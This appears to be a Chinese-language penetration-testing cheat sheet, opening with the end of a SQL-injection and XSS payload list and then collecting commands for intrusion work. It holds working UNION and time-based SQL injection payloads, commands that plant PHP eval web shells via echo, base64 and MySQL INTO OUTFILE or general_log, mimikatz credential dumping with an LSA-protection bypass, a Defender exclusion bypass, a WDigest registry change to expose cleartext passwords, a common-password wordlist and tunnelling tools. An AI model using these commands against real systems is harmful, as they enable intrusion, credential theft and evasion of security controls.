'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT NULL UNION ALL SELECT NULL# UNION ALL SELECT NULL-- UNION ALL SELECT SLEEP(5)-- ' UNION ALL SELECT system_user(),user();# UNION ALL SELECT USER()-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-- '''''''''''''UNION SELECT '2 ' UNION SELECT sum(columnname ) from tablename -- ' UNION select table_schema,table_name FROM information_Schema.tables;# ' UNION SELECT @@version-- UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# waitfor delay '00:00:05' waitfor delay '00:00:05'# waitfor delay '00:00:05'-- '; waitfor delay('0:0:20')-- ';WAITFOR DELAY '0:0:30'-- "));waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ;waitfor delay '0:0:5'-- WHERE 1=1 AND 1=0 WHERE 1=1 AND 1=0# WHERE 1=1 AND 1=0-- WHERE 1=1 AND 1=1 WHERE 1=1 AND 1=1# WHERE 1=1 AND 1=1-- % "><svg onload=alert()> '><script>alert('');</script> <IMG "'"><script>alert()</script>'> ```
# command 收集渗透中会用到的常用命令 。 建议直接[Ctrl+F]查找 # java命令执行 如下编码网站: https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/ 手动编码操作 ``` bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i} ``` ## 命令执行,定位资源文件写文件回显 Linux ``` find /|grep index.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done ``` Windows(注意盘符) ``` for /r D:\ %i in (index.js*) do whoami > %i/../test.txt ``` ## 写shell 在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^” 在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。 windows命令行最大长度为8191,16进制长度是113898。echo写文件时注意长度。 方法1 ``` set /p=qaxnb<nul>d:\1d13.txt ``` 方法2 ``` echo qaxnb>1we.txt ``` 追加内容 ``` echo qaxnb>>1we.txt ``` 不换行追加 ``` set /p="121d2">>a.txt ``` 规避空格 ``` echo.123>>a.txt echo,123>>a.txt type;a.txt ``` 写特殊字符很多的文件,可以用certutil编码再还原。 如下还原 ``` certutil -f -decode 111.txt C:\\111.jsp certutil -decodehex 111.txt C:\\111.jsp ``` linux下base64 ``` echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php ``` php的 ``` echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php ``` 绕过空格 ``` > < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 {cat,flag.php} %20 %09 ``` # windows打包目录 ``` powershell -Command "Compress-Archive -Path E:\update\ -DestinationPath E:\test.zip" ``` ## nmap ``` nmap -sn 10.11.1.0/24 ``` ``` nmap -sV -p- 10.11.1.0 ``` ``` nmap 10.11.1.0 --script vuln ``` ``` nmap -p445 10.11.1.0 --script smb-vuln-ms17-010 ``` ``` nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt ``` nmap 极速扫描,快如闪电 ``` nmap -n --unique --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1 nmap -n --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1 ``` 获取http title ``` nmap -n --resolve-all -Pn --min-hostgroup --max-retries 3 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate 10000 --script=http-title -T4 -p- -iL domain.txt ``` ## masscan 注意速率问题,根据带宽调整。100m带宽可调3000,注意是vps,不是家庭宽带。 关于编译,直接git拉下来,make就行。生成的文件在bin下面。 扫描单ip ``` masscan 192.168.1.110 -p 1-65535 --rate=1000 ``` 扫描列表 ``` masscan -iL ip.txt -p1-65535 --rate=1000 -oL port.txt ``` 解析,提取ip:port ``` cat port.txt |awk '{print $4":"$3}' ``` 转换为nmap可用端口 ``` cat p.txt | tr "\n" , ``` ## 端口列表 ``` 22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899 21-23,80-90,135,137,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2375,2376,2601,2604,3128,3306,3311,3312,3389,4440,4848,5001,5432,5560,5900-5902,6082,6379,7001-7010,7778,8009,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,51111,50030,50060 20-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50050,50300,50389,50500,50636,50800,51111,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389 ``` ## 字典 <details> <summary>top200</summary> ``` 123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper ``` </details> ## Mimikatz 一条命令 ``` .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit ``` 控制台执行多条命令,用log防止进程崩溃,数据丢失 ``` mimikatz # privilege::debug mimikatz # log mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::wdigest ``` msf中执行命令 ``` mimikatz_command -f sekurlsa::logonPasswords full mimikatz_command -f sekurlsa::wdigest ``` 注册表开启wdigest,08r2后默认关闭。需要目标注销,重新登录。2016需要重启。 ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 ``` ### bypass lsa Protection(ppl) 查询是否启用 ``` reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa ``` 把mimidriver.sys拷贝到同级目录,进行加载bypass ``` mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # privilege::debug mimikatz # token::elevate mimikatz # sekurlsa::logonpasswords mimikatz # !processprotect /process:lsass.exe mimikatz # !- ``` ## cs凭证解析 提取用户名 ``` awk -F":::" '{print $1}' credentials.txt | awk -F"\\" '{print $2}' ``` 提取hash ``` awk -F":::" '{print $2}' credentials.txt ``` ## 存活主机 ``` for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr "TTL=" ``` ## bypass Defender排除项 ``` powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test" ``` ## gobuster ``` gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt ``` ## dirsearch ``` python3 dirsearch.py -e php,html,js -u https://target ``` ``` python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist ``` ``` python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20 ``` ``` python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080 ``` ``` python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080 ``` ## nbtscan ``` nbtscan.exe 10.11.1.0/24 ``` ## 代理工具 proxychain sockscap64 proxifier https://drive.google.com/drive/folders/1x5naJeK2YkV6QCYUlUg5QNMl1Izf4-ti https://www.mediafire.com/folder/32rj1769a2w82/v4.7 ## 内网穿透工具 ### fuso - https://github.com/editso/fuso.git - 相对冷门,不会被杀 在9004上开启socks5代理 ``` fuc.exe 159.138.0.0 9003 -h 127.0.0.1 -p 9004 -b 9004 -n test -t socks5 --bridge-host 0.0.0.0 --bridge-port 9004 ``` ### frp ### nps https://github.com/ehang-io/nps ``` sudo ./nps install sudo nps start ``` 安装后配置文件位置/etc/nps,默认密码(可在配置文件里面修改)admin/123 ### iox ### Stowaway https://github.com/lz520520/Stowaway ### Venom https://github.com/Dliv3/Venom ## ssh 无记录shell ``` ssh -T [email protected] /usr/bin/bash -i ``` ## grep ``` grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto ``` ``` grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto ``` ``` grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/ ``` ``` grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt ``` web应用 ``` grep -EHirn '--include=*.'{java,jsp,jspx,xml,conf,json,ini,properties,yaml,toml,plist,txt,sql} "accesskey|api_key|apikey|jdbc|username|pass|passwd|password" webapps/ ``` 搜索文件内的字符串 ``` grep -r "test" ./src 显示行号 grep -rn "test" ./src ``` ## mysql 开远程 ``` use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ; select host, user from user; mysql -uroot -p -e "select * from mysql.user;" >1.txt ``` 不登录直接执行sql ``` mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt mysql -uroot -e "show databases;" >1.txt ``` mysql getshell ``` show variables like '%secure%' select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php'; select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php'; ``` ``` set global general_log=on; set global general_log_file='/var/www/1.php'; select '<?php eval($_POST[s6]) ?>'; ``` ``` select '<?php 